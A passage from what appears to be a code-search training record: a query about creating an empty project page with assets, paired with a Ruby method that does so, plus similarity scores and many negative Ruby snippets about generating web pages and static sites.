"def point(x,y)\n [x,y]\nend",
"def points\n object.polygon.points\n end",
"def points\n [top_left, top_right, bottom_left, bottom_right]\n end"
] | [
"0.7319244",
"0.6943422",
"0.6928855",
"0.6703674",
"0.6554638",
"0.6554638",
"0.6554638",
"0.6554638",
"0.6466883",
"0.6466883",
"0.6466883",
"0.6466883",
"0.6466883",
"0.6466883",
"0.6367322",
"0.6367322",
"0.6367322",
"0.6361447",
"0.6324097",
"0.6324097",
"0.6324097",
"0.6324097",
"0.62462467",
"0.6234002",
"0.6197398",
"0.61579555",
"0.61404455",
"0.61404455",
"0.6126536",
"0.60967755",
"0.60967755",
"0.60967755",
"0.60967755",
"0.60967755",
"0.60967755",
"0.60967755",
"0.60967755",
"0.6083183",
"0.6083183",
"0.6068725",
"0.6063675",
"0.6062458",
"0.6062458",
"0.6050478",
"0.6047474",
"0.6047474",
"0.60210925",
"0.598274",
"0.5979955",
"0.5979955",
"0.5964709",
"0.5964195",
"0.5961826",
"0.5958073",
"0.5958073",
"0.59561914",
"0.59552145",
"0.5953566",
"0.5953566",
"0.59449655",
"0.5942389",
"0.59340024",
"0.592479",
"0.5917921",
"0.59120655",
"0.59091294",
"0.59063184",
"0.5899032",
"0.5899032",
"0.5898473",
"0.5879836",
"0.5869854",
"0.5863411",
"0.58578753",
"0.58458614",
"0.5844325",
"0.5842734",
"0.582464",
"0.5813522",
"0.5813522",
"0.5810841",
"0.577465",
"0.577465",
"0.577465",
"0.577465",
"0.5759315",
"0.57591254",
"0.5746762",
"0.57446027",
"0.57395256",
"0.57387865",
"0.5733755",
"0.5733044",
"0.5732512",
"0.5726867",
"0.5718277",
"0.5716424",
"0.5715397",
"0.57024163",
"0.56920165",
"0.56868845"
] | 0.0 | -1 |
Create an empty page with necessary assets for project +p+ | def create_empty_page(p)
cli.say 'Creating project page'
FileUtils.mkdir_p(browse_file(p, '.'))
%w[favicon-32.png style.css].each do |i|
FileUtils.cp(template_file(i), browse_file(p, i))
end
write_file(p, 'about.html') do
build_from_template('about.html', citation: MiGA::MiGA.CITATION)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_project_page(p)\n # Redirect page\n write_file(p, '../index.html') { build_from_template('redirect.html') }\n\n # Summaries\n summaries = Dir[\"#{p.path}/*.tsv\"].map do |i|\n b = File.basename(i, '.tsv')\n generate_summary_page(i, p)\n \"<li><a href='s-#{b}.html'>#{format_name(b)}</a></li>\"\n end.join('')\n\n # Project index page\n data = {\n project_active: 'active',\n information: format_metadata(p),\n summaries: summaries.empty? ? 'None' : \"<ul>#{summaries}</ul>\",\n results: format_results(p)\n }\n write_file(p, 'index.html') { build_from_template('index.html', data) }\n end",
"def create(p)\n puts \"Creating page #{p}\"\n Dir.mkdir p unless File.exists? p\n Content.new(\"#{@dir}\", @extension).page p\n end",
"def create\r\n html=params[:page][:html]\r\n @page = Page.new(params[:page])\r\n respond_to do |format|\r\n if @page.save\r\n format.html { redirect_to @page, notice: 'Page was successfully created.' }\r\n format.json { render json: @page, status: :created, location: @page }\r\n target = \"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\"\r\n if !File.directory?(\"#{Rails.public_path}/#{@page.project_id}\")\r\n Dir.mkdir(\"#{Rails.public_path}/#{@page.project_id}\")\r\n Dir.mkdir(\"#{Rails.public_path}/#{@page.project_id}/images\")\r\n end\r\n File.open(target, \"w+\") do |f|\r\n f.write(html)\r\n end\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @page.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def setup\n @page = pages(:homepage)\n end",
"def create_base_project\n puts \"creating base project\"\n directory \"templates\", \"#{app_path}\"\n end",
"def generate\n # Ensure site is a directory\n FileUtils.mkdir_p site_path\n\n # If there is more than one language, then we need to create\n # multiple files, one for each language.\n if languages.size >= 1\n\n # Enter the most dastardly loop. \n # Create a View::Document with sections only containing the \n # specified language. \n languages.map do |language|\n document_views = documents.map do |document|\n document.sections = document.sections.map do |section|\n section.examples = section.examples.select {|ex| ex.language.blank? || ex.language == language }\n section\n end\n\n Views::Document.new document\n end\n\n # Use Mustache to create the file\n page = Page.new\n page.title = title\n page.logo = File.basename logo if logo\n page.documents = document_views\n\n File.open(\"#{site_path}/#{language.underscore}.html\", \"w\") do |file|\n file.puts page.render\n end\n end\n\n # copy the default language to the index and were done!\n FileUtils.cp \"#{site_path}/#{default.underscore}.html\", \"#{site_path}/index.html\"\n\n # There are no languages specified, so we can just create one page\n # using a collection of Document::View.\n else \n document_views = documents.map do |document|\n Views::Document.new document\n end\n\n page = Page.new\n page.title = title\n page.logo = File.basename logo if logo\n page.documents = document_views\n\n File.open(\"#{site_path}/index.html\", \"w\") do |file|\n file.puts page.render\n end\n end\n\n # Copy the logo if specified\n FileUtils.cp \"#{logo}\", \"#{site_path}/#{File.basename(logo)}\" if logo\n\n # Copy all the stylesheets into the static directory and that's it!\n resources_path = File.expand_path \"../resources\", __FILE__\n\n FileUtils.cp \"#{resources_path}/style.css\", \"#{site_path}/style.css\"\n FileUtils.cp \"#{resources_path}/syntax.css\", \"#{site_path}/syntax.css\"\n end",
"def write_page\n contents = [people,projects,events].inject({}) { |x,y| x.merge(y) }\n File.open('index.html','w') do |f|\n f.write(@template.render(contents))\n end\n end",
"def create_default_template_file\n unless self.description.redirection_required?\n self.localizations.each do |page_localization|\n file_path = File.join(Rails.root, \"app\", \"views\" , \"pages\" , \"#{self.view}.#{page_localization.locale.slug}.html.haml\" )\n unless File.exists?(file_path)\n file = File.new(file_path, \"w\")\n\n page_localization.contents.each do |content|\n file.puts(\"= @page.easy_contents(:#{content.section_name})\")\n end\n file.close\n end\n end\n end\n end",
"def generate_page file\n setup\n\n template_file = @template_dir + 'page.rhtml'\n\n out_file = @outputdir + file.path\n debug_msg \" working on %s (%s)\" % [file.full_name, out_file]\n rel_prefix = @outputdir.relative_path_from out_file.dirname\n search_index_rel_prefix = rel_prefix\n search_index_rel_prefix += @asset_rel_path if @file_output\n\n current = file\n asset_rel_prefix = rel_prefix + @asset_rel_path\n\n @title = \"#{file.page_name} - #{@options.title}\"\n\n debug_msg \" rendering #{out_file}\"\n render_template template_file, out_file do |io|\n here = binding\n # suppress 1.9.3 warning\n here.local_variable_set(:current, current)\n here.local_variable_set(:asset_rel_prefix, asset_rel_prefix)\n here\n end\n end",
"def generate_main_page_with(specs)\n main_page = Amy::Model::Main.new\n specs['resources'].each_pair { |resource, options|\n main_page.add_resource( { 'resource' => resource, 'title' => options['title'] } )\n }\n main_page.links = specs['links'] || []\n main_page.version = specs['api_version']\n main_page.base_url = specs['base_url']\n @generator.do(\"#{Amy::BASE_DIR}/views/main.erb.html\", main_page)\n end",
"def webpage\n render(:webpage, layout:false) and return\n end",
"def create\n flash[:notice] = 'The page was successfully created.' if page.save\n respond_with(page, location: project_page_path(page.project, page))\n end",
"def new\n @project = Project.new\n\n render :layout => \"empty\"\n end",
"def create_test_page(options = {})\n no_part = options.delete(:no_part)\n page = super(options)\n unless no_part\n part = PagePart.new part_params(:name => 'body', :content => 'test')\n page.parts << part\n page.save\n part.save\n end\n page\n end",
"def create_project\n empty_directory(project)\n end",
"def new\n @page = @site.pages.new\n @page.parts << PagePart.new(:name => \"body\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def first_mandate\n # renders static page\n end",
"def testem_page\n testem_fields(\n \"#{Prawn::DATADIR}/images/reports/CEM2030-2012_Page_01.pdf\"\n # \"#{Rails.root}/app/assets/images/reports/testem_fields.pdf\"\n # \"#{Rails.root}/app/assets/pdfs/testem.png\"\n )\n start_new_page\n end",
"def init\n @title_page = 'Pine app'\n erb :welcome, layout: :template\nend",
"def default_page\n\t\t\t\tDir.chdir File.join(self.source, @site_name)\n\t\t\t\tFile.open Settings::PAGES_TEMPLATE + '/page.md', 'r' do |file|\n\n\t\t\t\t\tfront_matter = {\n\t\t\t\t\t\t'title' => 'Home Page',\n\t\t\t\t\t\t'date' => Time.now.strftime(\"%Y-%m-%d\"),\n\t\t\t\t\t\t'author' => 'Your Name',\n\t\t\t\t\t\t'template' => 'page'\n\t\t\t\t\t}\n\n\t\t\t\t\tcontents = Liquid::Template.parse(file.read).render front_matter \n\t\t\t\t\tFile.open(File.join(\"pages\", \"index.md\"), \"w\") do |f|\n\t\t\t\t\t\tf.write contents\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tFileUtils.mkdir_p(File.join(self.source, @site_name, \"media/images\", \"index\"))\n\t\t\tend",
"def create_project(tx)\n Installer.copy(tx, \"#{@service_dir}/pieces/public\", get_path(:web))\n true\n end",
"def add_template_pages; end",
"def build\r\n self.ehtml, self.ecss, self.ejs = self.theme.page_layout.build_content() \r\n return self.ehtml, self.ecss, self.ejs\r\n end",
"def create\r\n @project = current_user.projects.new(project_params)\r\n new_page = @project.pages.new({ name: generate_new_page_name})\r\n @project.startpage = new_page\r\n @project.date_created = Time.now\r\n @project.last_modified = Time.now\r\n respond_to do |format|\r\n if @project.save\r\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\r\n format.json { render action: 'show', status: :created, location: @project }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @project.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def to_page\n \n u = User.find_by_login(authorid)\n \n UserActionObserver.current_user = u\n \n page = Page.new(\n :title => title,\n :created_at => lastmod,\n :updated_at => lastmod,\n :slug => url_title,\n :status => Status[:published],\n :breadcrumb => title,\n :published_at => posted, \n :enable_comments => annotate.to_s,\n :keywords => keywords,\n :created_by => u,\n :updated_by => u\n )\n \n page.parts << PagePart.new(:name => 'body', :filter_id => \"Textile\", :content => body )\n page.parts << PagePart.new(:name => 'intro', :filter_id => \"Textile\", :content => body.split(/\\r\\n\\s*\\r\\n/).first)\n \n page\n end",
"def create_page\n segments = self.slug.split('/').find_all { |segment| segment != '' }\n max_segments = segments.size\n\n while segment = segments.pop do\n _options = self.page_options(slug: segment, translated: false)\n file_path = File.join(pages_path, segments, segment)\n\n # the content type option is never deleted for the first segment (the requested template)\n _options.delete(:content_type) unless segments.size == (max_segments - 1)\n\n template 'template.liquid.tt', \"#{file_path}.liquid\", _options\n\n self.other_locales.each do |locale|\n _options[:translated] = true\n template 'template.liquid.tt', \"#{file_path}.#{locale}.liquid\", _options\n end\n end\n end",
"def load_index_page\n @page ||= Language.current_root_page\n render template: \"alchemy/welcome\", layout: false if signup_required?\n end",
"def files_to_page\n insert_to_page('div', html)\n insert_to_page('script', js, false)\n insert_to_page('style', style, false)\n end",
"def create_base_project\n raise GeneratorArgumentsError if app_path.nil?\n puts \"creating base project\"\n directory \"templates\", \"#{app_path}\"\n end",
"def create_page\n @outfile.puts <<'EOF'\n<!DOCTYPE html>\n<html>\n <head>\n <title>Fun Fun Fun</title>\n <meta charset=\"utf-8\">\nEOF\n\n include_stylesheets\n include_javascript\n add_data(@batch)\n @outfile.puts <<'EOF'\n </head>\n <body>\n <svg class=\"chart\">\n </svg>\n </body>\n</html>\nEOF\n end",
"def index\n @page = Page.new\n end",
"def new\n @brigade_project = BrigadeProject.new\n general_static_response(@brigade_project)\n end",
"def create_page(site, source_file, relative_dir, file_name, langcode, includelang = false, process = true)\n # Don't process underscore files.\n return if relative_dir =~ /^_/\n\n case source_file\n when /\\.(markdown|html)|sitemap\\.xml|feed\\.xml/\n # Markdown is our main content language, create a page.\n page = LanguagePage.new(site, site.source, relative_dir, file_name, langcode, includelang)\n site.pages << page if process\n page\n when /\\.(png|jpg|gif|css|mp4|webm|vtt|svg|mp3)/\n # Copy across other assets.\n asset = LanguageAsset.new(site, site.source, relative_dir, file_name, langcode, includelang)\n site.static_files << asset if process\n nil\n end\n end",
"def create_theme\n empty_directory(VIEW_PATH)\n\n if partial\n if partial.index('/')\n (extra_dirs, partial_name) = partial.match(/^(.*)\\/(.*)$/).captures\n\n empty_directory(\"#{VIEW_PATH}/#{file_name}/#{extra_dirs}\")\n\n copy_file(\n \"#{extra_dirs}/_#{partial_name.match(/^text_as_/) ? 'text' : partial_name}.html.erb\",\n \"#{VIEW_PATH}/#{file_name}/#{extra_dirs}/_#{partial_name}.html.erb\"\n )\n else\n copy_file(\"_#{partial}.html.erb\", \"#{VIEW_PATH}/#{file_name}/_#{partial}.html.erb\")\n end\n else\n directory('', \"#{VIEW_PATH}/#{file_name}\")\n end\n end",
"def generate_project_file\n template_file = @template_dir + 'hhp_file.hhp.rhtml'\n\n @values = { :title => @options.title, :opname => @outputdir.basename }\n \n static_files = ['index.html', 'classindex.html', 'fileindex.html']\n @values[:html_files] = static_files + (@generated_files+@classes).map{|f| f.path}.uniq\n \n out_file = @outputdir + @project_name\n debug_msg \" rendering #{out_file}\"\n render_template template_file, out_file do |io| binding end\n end",
"def create_default_page_template\n PageTemplate.create(:name => 'default')\n end",
"def index_prebuilt!\n Dir.glob(\"#{PREBUILT_DIR}/**/[^_]*.*\") do |filename|\n config.add_page(filename.sub(\"#{PREBUILT_DIR}/\", ''), file: filename, digest: true)\n end\n end",
"def new\n \t@pagenav = Page.find_all_by_published('true')\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def write_pages\n pages = Dir[\"#{source_path}/*.html\"].each do |p_name|\n page = Page.new(source_path, File.basename(p_name))\n # TODO allow user to specify which layouts a page should use \n page.render(site_payload, layouts.select{|x| x.name == \"application.html\"})\n page.write(destination_path)\n end\n end",
"def html_page\n <<-END.gsub(/^\\s+/, '')\n <html><head>\n <title>Why Fixturing Is Annoying</title>\n <script src='/app-ui.js'></script>\n </head>\n <body class=\"webapp\">\n <div class=\"app-content-holder\"></div>\n </body></html>\n END\n end",
"def prepare_project_header_and_footer\n @header_text = @project.templets.find_by_name('PAGE_HEADER').render( @project )\n @footer_text = @project.templets.find_by_name('PAGE_FOOTER').render( @project )\n end",
"def new\n @pages = Page.new\n #renders new.html.erb\n end",
"def new\n @page = Page.new\n @pagelist = @club.all_pages\n \n @page_title = \"New Page\"\n @site_section = \"admin\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def build( special_contexts=[] )\r\n\r\n self.ehtmls, self.ecss, self.ejs = self.theme.original_page_layout_root.build_content(special_contexts)\r\n self.ehtml = self.ehtmls.first\r\n\r\n end",
"def new\n @project = Project.new\n @title = \"New Project\"\n end",
"def new\r\n @event = Event.new\r\n #@pages = Page.all\r\n @projects_pages = []\r\n projects = Project.all.sort{|a,b| a.name <=> b.name}\r\n projects.each do |project|\r\n @projects_pages << [\"#{project.name}\", project.pages.exclude_placeholder] unless project.pages.blank?\r\n end\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @event }\r\n end\r\n end",
"def build_page(path, silent: false)\n page = sitemap[path]\n out_fname = File.join(BUILD_DIR, path)\n puts \"Rendering #{out_fname}...\" unless silent\n\n # Check page data for info on how to build this path\n if page['template'].present?\n ctx = TemplateContext.new(@config)\n ctx.page = page\n # Check if we have a layout defined, use it\n layout = ctx.page.key?('layout') ? ctx.page['layout'] : config['layout']\n\n # Make sure to render the template inside the layout render so code in the\n # erb layout and template are executed in a sensible order.\n content =\n if layout.present?\n ctx.render(layout) { ctx.render(ctx.page['template']) }\n else\n ctx.render(ctx.page['template'])\n end\n elsif page['json'].present?\n content = page['json'].to_json\n elsif page['file'].present?\n content = File.read(page['file'])\n else\n raise(\n ArgumentError,\n \"Page '#{path}' missing one of required attributes: 'template', 'json', 'file'.\"\n )\n end\n\n # If page data includes a digest flag, add sha1 digest to output filename\n if page['digest'] == true\n ext = VizBuilder.fullextname(path)\n fname = File.basename(path, ext)\n dir = File.dirname(path)\n digest = Digest::SHA1.hexdigest(content)\n digest_fname = \"#{fname}-#{digest}#{ext}\"\n page['digest_path'] = \"#{dir}/#{digest_fname}\"\n out_fname = File.join(BUILD_DIR, dir, digest_fname)\n end\n\n FileUtils.mkdir_p(File.dirname(out_fname))\n File.write(out_fname, content)\n content\n end",
"def new\n #creates a new page only in memory\n @page = Page.new\n end",
"def generate\n verify_path\n \n self.layouts.each {|layout| layout.write_file}\n self.pages.each {|page| page.write_file}\n \n Webby.site.content_dir = self.content_dir\n Webby.site.layout_dir = self.layout_dir\n Webby.site.template_dir = self.template_dir\n Webby.site.output_dir = self.output_dir\n \n Merb.logger.debug \"content_dir: #{Webby.site.content_dir}\"\n Merb.logger.debug \"layout_dir: #{Webby.site.layout_dir}\"\n Merb.logger.debug \"template_dir: #{Webby.site.template_dir}\"\n Merb.logger.debug \"output_dir: #{Webby.site.output_dir}\"\n \n # Use directory => '.' option to generate the site in output_dir\n Webby.site.page_defaults = {'layout' => self.default_layout.relative_path,\n 'directory' => '.',\n 'collision' => :force}\n \n Merb.logger.debug \"page_defaults: #{Webby.site.page_defaults}\" \n # returns nil if success \n # Webby::Builder.run\n Webby::Builder.run :rebuild => true\n end",
"def template_page(site); end",
"def about\n # Static Page\n end",
"def index\n @pages = Page.all\n render layout: 'application'\n end",
"def generate_Song_Pages\n template_doc = File.open(\"lib/templates/song.html.erb\")\n template = ERB.new(template_doc.read)\n Song.all.each do |song|\n File.write(\"_site/song/#{song.url}\", template.result(binding))\n end\n end",
"def new\n @page = Page.new\n end",
"def new\n @page = Page.new\n end",
"def new\n @page = Page.new\n end",
"def new\n @page = Page.new\n end",
"def index\n @dynamic_project_pages = DynamicProjectPage.all\n end",
"def generate_content\n @pdf = Prawn::Document.new(\n info: self.metadata,\n top_margin: @format[:header_size] + @format[:top_margin],\n bottom_margin: @format[:footer_size] + @format[:bottom_margin]\n )\n add_page_body\n add_page_header\n add_page_footer\n add_page_numbering\n end",
"def create_blank_post(path, title)\n # Create the directories to this path if needed\n FileUtils.mkpath(File.dirname(path))\n\n # Write the template to the file\n File.open(path, \"w\") do |f|\n f << <<-EOS.gsub(/^ /, '')\n ---\n layout: post\n title: #{title}\n published: false\n ---\n\n EOS\n end\nend",
"def new\n add_breadcrumb \"Nouveau\"\n @project = Project.new\n end",
"def generate\n add_intro\n add_blood_pressure_intro\n add_blood_pressure_list\n add_blood_pressure_outro\n add_medications_intro\n add_medications_list\n add_about\n\n @pdf\n end",
"def initialize(options) #:not-new:\n @options = options\n load_html_template\n @main_page_path = nil\n end",
"def new\r\n session[:from_page] = params[:from_page]\r\n session[:from_event] = params[:from_event]\r\n\r\n @project = Project.new\r\n @project.build_project_image\r\n @project.project_web_links.build\r\n @funders = Funder.all\r\n\r\n respond_to do |format|\r\n format.html {render :layout => 'backend'} # new.html.erb\r\n format.xml { render :xml => @project }\r\n end\r\n end",
"def new_page\n @vendor = Vendor.find(current_user)\n @page = Page.new\n @page.site_id = params[:site_id]\n @page.template_id = 1\n @page.page_name = \"PAGE\"\n @page.language = \"en\"\n @page.theme_id = 1 \n respond_to do |format|\n if @page.save\n #Construct the path for the destination page file\n @page_path = 'public/sites/' + @vendor.id.to_s + \"/\" + @page.site_id.to_s + \"/\" + @page.id.to_s + '.html' \n File.open(@page_path, \"w+\") do |f|\n f.write(\"<html><head></head><body bgcolor='#E6E6FA'>Page \" + @page.id.to_s + \"</body></html>\") \n end\n #redirect to the view and render the partial\n format.html { redirect_to page_manage_path}\n format.js\n format.json { render json: @page, \n status: :created, location: @page }\n else \n format.html { render action: \"new\" }\n format.json { render json: @page.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def pages\n plantuml_files.map { |static_file| page_from_static_file(static_file) }\n end",
"def create\n #Each Page could be tied to an ApiKey or set of ApiKeys for security\n @page = Page.new(page_params)\n #Render the object created or errors\n respond_to do |format|\n if @page.save\n #Cache bust pages\n Rails.cache.delete(\"pages\")\n format.json { render action: 'show', status: :created, location: api_page_url(@page) }\n else\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_all!\n if title_card_path.exist?\n Dir\n .glob(story.screenshots.join(\"*page*.png\"))\n .sort_by { |path| path.scan(/\\d+/).first.to_i }\n .each do |path|\n\n path.slice! File.extname(path) # drop the extension\n @paths[:pages] << absolute(path) # store the result in the index\n end\n return\n end\n\n FileUtils.mkdir_p story.screenshots\n browser.add_script_tag content: <<~JS\n pageflow.ready.then(function() {\n $('.multimedia_alert').remove()\n })\n JS\n\n # Grab all navigable pages.\n browser.goto story.url\n sleep 10\n pages = browser.css('#scrollytelling-navigation a')\n puts \"#{pages.length} screenshots in #{story.screenshots}\"\n\n pages.each_with_index do |link, index|\n perma_id = link.attribute('href')[/#(\\d*)\\z/, 1]\n url = [story.url, link.attribute('href')].join\n filename = [story.slug, 'page', index + 1, \"#{perma_id}.png\"].join('-')\n next if File.exist?(story.screenshots.join(filename))\n\n print \"#{url} \"\n browser.goto url\n sleep 3\n\n until browser.at_css('body').attribute('class').include? 'finished-loading'\n sleep 1\n end\n\n browser.screenshot(path: story.screenshots.join(filename))\n @paths[:pages] << absolute(story.screenshots.join(filename))\n puts \"✅ #{filename}\"\n end\n\n # Grab the opening page; when this exists, all screens are complete.\n browser.goto story.url\n sleep 10\n\n browser.screenshot(full: true, path: title_card_path)\n @paths[:title] = absolute(title_card_path)\n\n browser.quit\n end",
"def generate_index\n setup\n\n template_file = @template_dir + 'index.rhtml'\n return unless template_file.exist?\n\n debug_msg \"Rendering the index page...\"\n\n out_file = @base_dir + @options.op_dir + 'index.html'\n rel_prefix = @outputdir.relative_path_from out_file.dirname\n search_index_rel_prefix = rel_prefix\n search_index_rel_prefix += @asset_rel_path if @file_output\n\n asset_rel_prefix = rel_prefix + @asset_rel_path\n\n @title = @options.title\n\n render_template template_file, out_file do |io|\n here = binding\n # suppress 1.9.3 warning\n here.local_variable_set(:asset_rel_prefix, asset_rel_prefix)\n here\n end\n rescue => e\n error = RDoc::Error.new \\\n \"error generating index.html: #{e.message} (#{e.class})\"\n error.set_backtrace e.backtrace\n\n raise error\n end",
"def render_pages(static_path)\n puts \" Rendering pages\"\n Page.all.each do |p|\n if p.published? && (body = p.render)\n dir, filename = p.url, \"index.html\"\n dir, filename = p.parent.url, p.slug if p.slug =~ /\\.[^.]+$/i # File with extension (e.g. styles.css)\n FileUtils.mkdir_p(File.join(static_path, dir))\n File.open(File.join(static_path, dir, filename), 'w') { |io| io.print(body) }\n else\n puts \" ! Not rendering #{p.id} - #{p.status.name} - #{p.url}\"\n end\n end\nend",
"def index\n @main_page = \"Pessoal\"\n @page_title = \"Projetos\"\n @projects = Project.all\n @current_projects = Project.current_projects\n end",
"def generate_all\n copy_template_dir('layouts', 'layouts')\n copy_template_dir('content/bootstrap', 'content/bootstrap')\n copy_template_dir('content/content', 'content/content')\n delete_target_file('lib/default.rb')\n copy_template_dir('lib', 'lib')\n delete_target_file('Rules')\n copy_template_file('Rules', 'Rules')\n copy_template_file('.gitignore', '.gitignore')\n copy_template_file('cg_config.rb', 'cg_config.rb')\n copy_template_file('cg_config.rb_sample', 'cg_config.rb_sample')\n delete_target_file('content/stylesheet.css')\n delete_target_file('content/index.html')\n delete_target_file('layouts/default.html')\n create_empty_dir('content/images')\n end",
"def new\n\t\t\tlogger.debug \"******* paths loaded are #{Rails.application.config.assets.paths}\"\n\t\t\t@landing_page = LandingPage.new\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # new.html.erb\n\t\t\t\tformat.json { render json: @landing_page }\n\t\t\tend\n\t\tend",
"def execute!\n make_web_directory\n generate_universe\n generate_html\n print_success_message\n end",
"def create\n redirect_to pages_path\n end",
"def create_blank_post(path, title)\n # Create the directories to this path if needed\n FileUtils.mkpath(File.dirname(path))\n\n # Write the template to the file\n File.open(path, \"w\") do |f|\n f << <<-EOS.gsub(/^ /, '')\n ---\n layout: post\n title: #{title}\n published: false\n categories:\n ---\n\n EOS\n end\nend",
"def create_blank_post(path, title, date)\n # Create the directories to this path if needed\n FileUtils.mkpath(File.dirname(path))\n\n # Write the template to the file\n File.open(path, \"w\") do |f|\n f << <<-EOS.gsub(/^ /, '')\n ---\n title: #{title}\n category: Code\n layout: post\n date: #{date}\n ---\n\n EOS\n end\nend",
"def generate()\n prepare\n ::Dir.mkdir(@output_path) unless ::File.exists? @output_path\n\n @pages.each do |name, page|\n SiteLog.debug(\"Starting page generation - #{name}\")\n page.generate(@output_path, @version, @preserve_tree)\n SiteLog.debug(\"Finished page generation - #{name}\")\n end\n\n @files.each do |path, data|\n path = ::File.join(@output_path, path)\n ::FileUtils.mkdir_p(::File.dirname(path))\n ::File.open(path, \"w\") do |f|\n f.write(data)\n end\n end\n end",
"def add_blank_page_if_needed\n pdf_generator.generate(\n Summary::BlankPage.new(c100_application), copies: 1\n ) if has_forms_data?\n end",
"def new\n @page = Page.new\n #render :new - app/views/pages/new.html.erb\n end",
"def designer\r\n @page = Page.find(params[:id])\r\n data = File.read(\"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\")\r\n @page.update_attribute(:html , data)\r\n render 'designer'\r\n end",
"def new\n @page = Page.new\n # render new.html.erb\n end",
"def new\n @page = Page.new\n # render new.html.erb\n end",
"def new\n @isgrey = true;\n @current_page = \"ADD PROJECT\"\n @project = Project.new\n @project_attachment = @project.project_attachments.build\n @slider_object = @project.slider_objects.build\n @project_field = @project.project_fields.build\n @project_other_field = @project.project_other_fields.build\n\n @types = Type.all\n @new_nav = true;\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def generate!\n controllers = (Rails.application.routes.routes.map do |route|\n controller_name = \"#{route.requirements[:controller].camelize}Controller\"\n ActiveSupport::Dependencies.ref(controller_name).get\n end).insert(0, ApplicationController).uniq\n\n valid_controllers = valid_controllers()\n valid_locales = valid_locales()\n\n controllers.each do |controller|\n controller_path = controller.controller_path\n if controller.respond_to?(:managable_content_for) && valid_controllers.include?(controller_path)\n Page.transaction do\n valid_locales.each do |locale|\n # Create Page if it does not exist yet\n page = Page.where(:controller_path => controller_path, :locale => locale).first || Page.new()\n if page.new_record?\n page.controller_path = controller_path\n page.locale = locale\n page.save!\n end\n\n # Create PageContent if it does not exist yet\n contents = (controller == ApplicationController) ? controller.managable_layout_content_for : controller.managable_content_for\n contents.each do |key|\n if page.page_contents.where(:key => key).first.nil?\n page_content = page.page_contents.build\n page_content.key = key\n page_content.save!\n end\n end\n end\n end\n end\n end\n end",
"def new\n\t\t@project = Project.new({:project_state_type_id => ProjectStateType.find_by_code('preparation').id})\n\t\tputs @project.inspect\n\t\tmake_breadcrumbs\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @project }\n\t\tend\n\tend",
"def write\n if root?\n index_file = File.join(page_dir, 'index.html')\n notice \"Writing top level index file at #{index_file}\"\n File.open(index_file, 'w') {|f| f.puts content}\n else\n # First create the index page\n index_file = File.join(page_dir, name + '.html')\n notice \"Writing index file for directory #{path} at #{index_file}\"\n File.open(index_file, 'w') {|f| f.puts content}\n\n # Create a directory to contain index pages for any child directories\n Dir.mkdir(File.join(page_dir, name))\n end\n dirs.sort.each{|dir| dir.write}\n\n # Determine if the page assets directory is necessary, to avoid clutter\n writing_page_assets = true\n begin\n # Detect whether the write_page_assets method is overridden\n # In case this explodes in 1.8.6 we'll always create the directory\n writing_page_assets = renderer.class.instance_method(:write_page_assets).owner != DirRenderer\n rescue\n end\n\n # The renderer knows what assets are linked to and what needs to be available\n # to display the page properly\n if writing_page_assets\n Dir.mkdir(page_assets_dir)\n renderer.write_page_assets(self)\n end\n end",
"def copy_page\n File.open(Rails.root.join('public', 'testing.html'), 'wb') { |f| f << page.body }\n end",
"def new\n @page = Page.new\n # render :new app/views/pages/new.html.erb\n end",
"def test_create_page\n file = Configuration.TEST_PAGE\n \n # This test depends on a succesfull login\n if test_correct_login\n token = make_login Configuration.USER, Configuration.PASSWORD\n else\n return false\n end\n \n page_key = 'page-test-' + random_string(Configuration.PAGE_KEY_RS_SIZE)\n res = post_page file, token, page_key, 'test-tag', 'This is a Test Page'\n \n # Remove the just created page\n remove_page page_key, token\n \n puts \"\\nTester#test_create_page:\\n#{res}\" if Configuration.VERBOSE\n res == Constants.SUCCESS_MESSAGE\n end",
"def create\n url = params['url']\n doc = Crawl::PageHandler.fetch_page(url)\n page_data = Crawl::PageHandler.parse_page(url, doc)\n page = Page.create(url: url,\n chksum: Zlib.crc32(url),\n parsed: page_data.to_json)\n render json: { url: page[:url],\n chksum: page[:chksum],\n parsed: page[:parsed] }\n end",
"def isite\n render layout: 'parallax'\n end",
"def init\t\n\tenable :static\n\tset :statics_folder, 'statics'\n\tset :deep_or_flat_structure, 'flat'\n\n\tset :public_folder, settings.statics_folder\n\n\tset :page_pool, page_pool()\nend",
"def generate_html\n # the individual descriptions for files and classes\n gen_into(@files)\n gen_into(@classes)\n # and the index files\n gen_file_index\n gen_class_index\n gen_method_index\n gen_main_index\n\n # this method is defined in the template file\n write_extra_pages if defined? write_extra_pages\n end",
"def new\n @content_page = ContentPage.new :page_layout => \"default\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content_page }\n end\n end",
"def splash_page\n end",
"def index\n\t @title = \"Miradi Data Server\"\n\t \"<html>Welcome to the Miradi Data Server!<br/>\" +\n\t\t\"<form action='projects' method='post' accept-charset='utf8'>\" + \n\t\t\"Project Name: <input type='text' name='name'></input>\" +\n\t\t\"<input type='submit' value='Create Project'></input>\" + \n\t\t\"</form>\"\n\tend",
